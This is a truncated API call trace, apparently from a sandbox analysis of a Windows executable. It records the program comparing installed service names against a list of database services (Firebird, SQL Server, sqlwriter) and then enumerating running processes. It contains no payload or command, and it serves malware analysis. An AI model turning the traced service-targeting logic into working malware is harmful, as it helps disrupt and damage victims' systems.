[0145.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0145.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0145.650] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0145.650] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0145.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0145.650] lstrlenW (lpString="ClipSVC") returned 7 [0145.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0145.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0145.650] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0145.650] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0145.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0145.650] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0145.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0145.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0145.651] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0145.651] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0145.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0145.651] lstrlenW (lpString="CryptSvc") returned 8 [0145.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0145.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0145.651] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0145.651] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0145.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0145.651] lstrlenW (lpString="DcomLaunch") returned 10 [0145.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.651] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0145.651] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0145.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0145.651] lstrlenW (lpString="Dhcp") returned 4 [0145.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0145.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0145.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0145.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0145.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0145.651] lstrlenW (lpString="Dnscache") returned 8 [0145.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0145.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0145.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0145.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0145.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0145.651] lstrlenW (lpString="DoSvc") returned 5 [0145.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0145.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0145.651] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0145.651] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0145.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0145.651] lstrlenW (lpString="DPS") returned 3 [0145.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0145.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0145.651] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0145.651] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0145.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0145.651] lstrlenW (lpString="DusmSvc") returned 7 [0145.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0145.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0145.652] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0145.652] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0145.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0145.652] lstrlenW (lpString="EventLog") returned 8 [0145.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0145.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0145.652] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0145.652] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0145.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0145.652] lstrlenW (lpString="EventSystem") returned 11 [0145.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0145.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0145.652] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0145.652] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0145.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0145.652] lstrlenW (lpString="gpsvc") returned 5 [0145.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0145.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0145.652] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0145.652] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0145.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0145.652] lstrlenW (lpString="iphlpsvc") returned 8 [0145.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.652] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0145.652] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0145.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0145.652] lstrlenW (lpString="KeyIso") returned 6 [0145.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0145.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0145.652] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0145.652] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0145.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0145.652] lstrlenW (lpString="LanmanServer") returned 12 [0145.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0145.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0145.652] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0145.652] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0145.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0145.652] lstrlenW (lpString="LanmanWorkstation") returned 17 [0145.652] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.652] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.652] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0145.652] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0145.652] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0145.653] lstrlenW (lpString="lfsvc") returned 5 [0145.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0145.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0145.653] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0145.653] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0145.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0145.653] lstrlenW (lpString="LicenseManager") returned 14 [0145.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0145.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0145.653] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0145.653] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0145.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0145.653] lstrlenW (lpString="lmhosts") returned 7 [0145.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0145.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0145.653] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0145.653] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0145.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0145.653] lstrlenW (lpString="LSM") returned 3 [0145.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0145.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0145.653] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0145.653] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0145.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0145.653] lstrlenW (lpString="MpsSvc") returned 6 [0145.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0145.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0145.653] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0145.653] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0145.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0145.653] lstrlenW (lpString="NcbService") returned 10 [0145.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0145.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0145.653] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0145.653] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0145.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0145.653] lstrlenW (lpString="netprofm") returned 8 [0145.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0145.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0145.653] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0145.653] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0145.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0145.653] lstrlenW (lpString="NlaSvc") returned 6 [0145.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0145.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0145.653] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0145.654] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0145.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0145.654] lstrlenW (lpString="nsi") returned 3 [0145.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0145.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0145.654] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0145.654] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0145.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0145.654] lstrlenW (lpString="PcaSvc") returned 6 [0145.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0145.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0145.654] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0145.654] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0145.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0145.654] lstrlenW (lpString="PlugPlay") returned 8 [0145.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0145.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0145.654] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0145.654] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0145.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0145.654] lstrlenW (lpString="Power") returned 5 [0145.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0145.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0145.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0145.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0145.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0145.654] lstrlenW (lpString="ProfSvc") returned 7 [0145.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0145.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0145.654] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0145.654] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0145.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0145.654] lstrlenW (lpString="RpcEptMapper") returned 12 [0145.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0145.654] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0145.654] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0145.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0145.654] lstrlenW (lpString="RpcSs") returned 5 [0145.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0145.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0145.654] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0145.654] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0145.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0145.654] lstrlenW (lpString="SamSs") returned 5 [0145.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0145.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0145.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0145.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0145.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0145.655] lstrlenW (lpString="Schedule") returned 8 [0145.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0145.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0145.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0145.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0145.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0145.655] lstrlenW (lpString="SecurityHealthService") returned 21 [0145.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0145.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0145.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0145.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0145.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0145.655] lstrlenW (lpString="SENS") returned 4 [0145.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0145.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0145.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0145.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0145.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0145.655] lstrlenW (lpString="ShellHWDetection") returned 16 [0145.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0145.655] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0145.655] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0145.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0145.655] lstrlenW (lpString="sppsvc") returned 6 [0145.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0145.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0145.655] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0145.655] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0145.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0145.655] lstrlenW (lpString="SSDPSRV") returned 7 [0145.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0145.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0145.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0145.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0145.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0145.655] lstrlenW (lpString="StateRepository") returned 15 [0145.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0145.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0145.655] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0145.656] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0145.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0145.656] lstrlenW (lpString="SysMain") returned 7 [0145.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0145.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0145.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0145.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0145.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0145.656] lstrlenW (lpString="SystemEventsBroker") returned 18 [0145.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0145.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0145.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0145.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0145.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0145.656] lstrlenW (lpString="Themes") returned 6 [0145.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0145.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0145.656] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0145.656] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0145.656] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0145.663] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0145.663] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0145.663] lstrlenW (lpString="System") returned 6 [0145.664] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0145.664] lstrlenW (lpString="smss.exe") returned 8 [0145.664] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.664] lstrlenW (lpString="csrss.exe") returned 9 [0145.664] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0145.665] lstrlenW (lpString="wininit.exe") returned 11 [0145.665] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0145.665] lstrlenW (lpString="csrss.exe") returned 9 [0145.665] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0145.666] lstrlenW (lpString="winlogon.exe") returned 12 [0145.666] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0145.666] lstrlenW (lpString="services.exe") returned 12 [0145.666] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0145.667] lstrlenW (lpString="lsass.exe") returned 9 [0145.667] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.667] lstrlenW (lpString="svchost.exe") returned 11 [0145.667] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0145.667] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0145.667] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0145.668] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0145.668] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.668] lstrlenW (lpString="svchost.exe") returned 11 [0145.668] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0145.669] lstrlenW (lpString="dwm.exe") returned 7 [0145.669] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.669] lstrlenW (lpString="svchost.exe") returned 11 [0145.669] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.670] lstrlenW (lpString="svchost.exe") returned 11 [0145.670] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.670] lstrlenW (lpString="svchost.exe") returned 11 [0145.670] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: 